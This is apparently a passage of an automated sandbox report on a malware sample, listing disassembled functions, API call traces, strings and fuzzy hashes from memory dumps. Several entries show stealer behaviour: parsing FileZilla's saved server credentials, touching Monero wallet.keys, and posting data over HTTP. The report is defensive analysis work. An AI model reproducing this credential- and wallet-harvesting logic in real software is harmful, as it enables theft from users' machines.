Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e63e96ad35b3aa1c0abcf20c580146f7cfec02203b2631de000d26331bbca26e
Instruction ID: da5f5b7b8bb5796392107d082bbc48a04b8a66ad3ceeb6053eaf2f1b205a866e
Opcode Fuzzy Hash: e63e96ad35b3aa1c0abcf20c580146f7cfec02203b2631de000d26331bbca26e
Instruction Fuzzy Hash: C27191F3E086149FE3006E28DC8576ABBE5EF94320F1A863DDAC897744E67558458783

Function 00E1C940 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f1775cd137ba77fcda63fa65fd65cffcf950615b604b2a8d3699c789a8a1a41
Instruction ID: 75cf3e78127dd1726eaf7b4041fe586392a9f126f32b5ddc0d1d8fc02a76dc76
Opcode Fuzzy Hash: 2f1775cd137ba77fcda63fa65fd65cffcf950615b604b2a8d3699c789a8a1a41
Instruction Fuzzy Hash: F85125B3A087109BE304DE2AEC4453BF7E9EFD0620F2A863DE5C587340EA349C058652

Function 00FBA37A Relevance: .2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a45a38238214aaef0f5cc59ae94ffea3a76734eb8530b42cfb96fd83278bcd
Instruction ID: eb8ca2a7b4c52219a216a61c1884abeaf8d6699eb61a88def35140971728af15
Opcode Fuzzy Hash: f3a45a38238214aaef0f5cc59ae94ffea3a76734eb8530b42cfb96fd83278bcd
Instruction Fuzzy Hash: 25414BF3908204AFE7056E59ECD1B7AF7E5FB68720F19053DEAC183700E57558118693

Function 00E474CA Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d84fb13a34bccb3ffc0fa309f4f8212d2fd11f445e48bcc341a9b5d96573722
Instruction ID: 75bdc613e043659c7944a870793854d5fab2939475e2c75c752ecf48274edc7d
Opcode Fuzzy Hash: 0d84fb13a34bccb3ffc0fa309f4f8212d2fd11f445e48bcc341a9b5d96573722
Instruction Fuzzy Hash: 4041C4F3A081005BE344AE2DDC45B2AB7EAEBD4315F1B853DDAC4C7788E93498068697

Function 00E26BEE Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7399cf23c0de40e677fe88cc7bba56866c709632d609ee8f699ee9c0a5096a2
Instruction ID: 6ff203abce3c04efb8b2619e57ef1f39e23c71ae7a0e293df3bfdc3c8b0c6def
Opcode Fuzzy Hash: b7399cf23c0de40e677fe88cc7bba56866c709632d609ee8f699ee9c0a5096a2
Instruction Fuzzy Hash: 9241E4F3E186149BE7146A29EC9677AB7E9DF94310F0B053DDB85D3384E939980086CA

Function 00B89750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B80250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B88DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B88E0B

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B799EC
Part of subcall function 00B799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B79A11
Part of subcall function 00B799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B79A31
Part of subcall function 00B799C0: ReadFile.KERNEL32(000000FF,?,00000000,00B7148F,00000000), ref: 00B79A5A
Part of subcall function 00B799C0: LocalFree.KERNEL32(00B7148F), ref: 00B79A90
Part of subcall function 00B799C0: CloseHandle.KERNEL32(000000FF), ref: 00B79A9A

Part of subcall function 00B88E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B88E52

GetProcessHeap.KERNEL32(00000000,000F423F,00B90DBA,00B90DB7,00B90DB6,00B90DB3), ref: 00B80362
RtlAllocateHeap.NTDLL(00000000), ref: 00B80369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B80385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B80393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00B80419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B80427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B80463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B80475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B80502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B8051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B80532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B8054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B80562
lstrcat.KERNEL32(?,profile: null), ref: 00B80571
lstrcat.KERNEL32(?,url: ), ref: 00B80580
lstrcat.KERNEL32(?,00000000), ref: 00B80593
lstrcat.KERNEL32(?,00B91678), ref: 00B805A2
lstrcat.KERNEL32(?,00000000), ref: 00B805B5
lstrcat.KERNEL32(?,00B9167C), ref: 00B805C4
lstrcat.KERNEL32(?,login: ), ref: 00B805D3
lstrcat.KERNEL32(?,00000000), ref: 00B805E6
lstrcat.KERNEL32(?,00B91688), ref: 00B805F5
lstrcat.KERNEL32(?,password: ), ref: 00B80604
lstrcat.KERNEL32(?,00000000), ref: 00B80617
lstrcat.KERNEL32(?,00B91698), ref: 00B80626
lstrcat.KERNEL32(?,00B9169C), ref: 00B80635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B90DB2), ref: 00B8068E

Strings

<Pass encoding="base64">, xrefs: 00B8045A
login: , xrefs: 00B805CA
profile: null, xrefs: 00B80568
url: , xrefs: 00B80577
<Port>, xrefs: 00B803C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B802A4
password: , xrefs: 00B805FB
<User>, xrefs: 00B80410
<Host>, xrefs: 00B8037C
browser: FileZilla, xrefs: 00B80559

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 96f9abc29e0d622ceb4e353ba6fa53ae625e38470caeabc171c2c3da76a204b3
Instruction ID: cee19ad2ba60704a77a503c48b1f52fc7624cf3ee91bf1b472f7c9a76990c085
Opcode Fuzzy Hash: 96f9abc29e0d622ceb4e353ba6fa53ae625e38470caeabc171c2c3da76a204b3
Instruction Fuzzy Hash: 13D11E75910208EBDB04FBF4DD96EEE73B8AF14300F5445A9F502A61A1DE38AA06DB71

Function 00B75960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B8A7E6

Part of subcall function 00B747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B74839
Part of subcall function 00B747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B74849

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00B759F8
StrCmpCA.SHLWAPI(?,0093E310), ref: 00B75A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B75B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0093E2C0,00000000,?,0093A098,00000000,?,00B91A1C), ref: 00B75E71
lstrlen.KERNEL32(00000000), ref: 00B75E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00B75E93
RtlAllocateHeap.NTDLL(00000000), ref: 00B75E9A
lstrlen.KERNEL32(00000000), ref: 00B75EAF
lstrlen.KERNEL32(00000000), ref: 00B75ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00B75EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00B75F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00B75F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00B75F4C
InternetCloseHandle.WININET(00000000), ref: 00B75FB0
InternetCloseHandle.WININET(00000000), ref: 00B75FBD
HttpOpenRequestA.WININET(00000000,0093E210,?,0093D8A8,00000000,00000000,00400100,00000000), ref: 00B75BF8

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

InternetCloseHandle.WININET(00000000), ref: 00B75FC7

Strings

------, xrefs: 00B75A96
", xrefs: 00B75CD5
------, xrefs: 00B75C0B
", xrefs: 00B75E16
------, xrefs: 00B75D4C

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 4a5c3e79459cef4a8d2bbff980e596593d9d0a9dd4d7d854369eac7a40590001
Instruction ID: 8d047c34eab721c4d68e5a0f7199c35b8a796216d0b8fba1dbb1c8682e3e9e06
Opcode Fuzzy Hash: 4a5c3e79459cef4a8d2bbff980e596593d9d0a9dd4d7d854369eac7a40590001
Instruction Fuzzy Hash: 1C12DF71820118AAEB15FBA4DC95FEE73B8BF14700F5041EAF106721A1EF746A4ACF65

Function 00B7CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

Part of subcall function 00B8A9B0: lstrlen.KERNEL32(?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B8A9C5
Part of subcall function 00B8A9B0: lstrcpy.KERNEL32(00000000), ref: 00B8AA04
Part of subcall function 00B8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B8AA12

Part of subcall function 00B8A8A0: lstrcpy.KERNEL32(?,00B90E17), ref: 00B8A905

Part of subcall function 00B88B60: GetSystemTime.KERNEL32(00B90E1A,00939FD8,00B905AE,?,?,00B713F9,?,0000001A,00B90E1A,00000000,?,00938A70,?,\Monero\wallet.keys,00B90E17), ref: 00B88B86

Part of subcall function 00B8A920: lstrcpy.KERNEL32(00000000,?), ref: 00B8A972
Part of subcall function 00B8A920: lstrcat.KERNEL32(00000000), ref: 00B8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B7CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00B7D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00B7D0CE
lstrcat.KERNEL32(?,00000000), ref: 00B7D208
lstrcat.KERNEL32(?,00B91478), ref: 00B7D217
lstrcat.KERNEL32(?,00000000), ref: 00B7D22A
lstrcat.KERNEL32(?,00B9147C), ref: 00B7D239
lstrcat.KERNEL32(?,00000000), ref: 00B7D24C
lstrcat.KERNEL32(?,00B91480), ref: 00B7D25B
lstrcat.KERNEL32(?,00000000), ref: 00B7D26E
lstrcat.KERNEL32(?,00B91484), ref: 00B7D27D
lstrcat.KERNEL32(?,00000000), ref: 00B7D290
lstrcat.KERNEL32(?,00B91488), ref: 00B7D29F
lstrcat.KERNEL32(?,00000000), ref: 00B7D2B2
lstrcat.KERNEL32(?,00B9148C), ref: 00B7D2C1
lstrcat.KERNEL32(?,00000000), ref: 00B7D2D4
lstrcat.KERNEL32(?,00B91490), ref: 00B7D2E3

Part of subcall function 00B8A820: lstrlen.KERNEL32(00B74F05,?,?,00B74F05,00B90DDE), ref: 00B8A82B
Part of subcall function 00B8A820: lstrcpy.KERNEL32(00B90DDE,00000000), ref: 00B8A885

lstrlen.KERNEL32(?), ref: 00B7D32A
lstrlen.KERNEL32(?), ref: 00B7D339

Part of subcall function 00B8AA70: StrCmpCA.SHLWAPI(009388C0,00B7A7A7,?,00B7A7A7,009388C0), ref: 00B8AA8F

DeleteFileA.KERNEL32(00000000), ref: 00B7D3B4

Memory Dump Source

Source File: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.1485586383.0000000000B70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000C52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485597816.0000000000DBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000DCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001039000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001066000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1485733803.0000000001074000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486112735.0000000001075000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486222235.0000000001217000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1486238168.0000000001218000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 3f96bc94210359e4bfd7836b80b7ce5e74da7ae62551814491dff1c03bd52643
Instruction ID: b1749876ed92e290b1d9f0de36eab08696de527d759d941e90786baf04b86613
Opcode Fuzzy Hash: 3f96bc94210359e4bfd7836b80b7ce5e74da7ae62551814491dff1c03bd52643
Instruction Fuzzy Hash: 72E10F71910209EBDB04FBA4DD96EEE73B8BF14301F504199F106B61A1DE39AE05DB72

Function 00B7C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B8A740: lstrcpy.KERNEL32(00B90E17,00000000), ref: 00B8A788

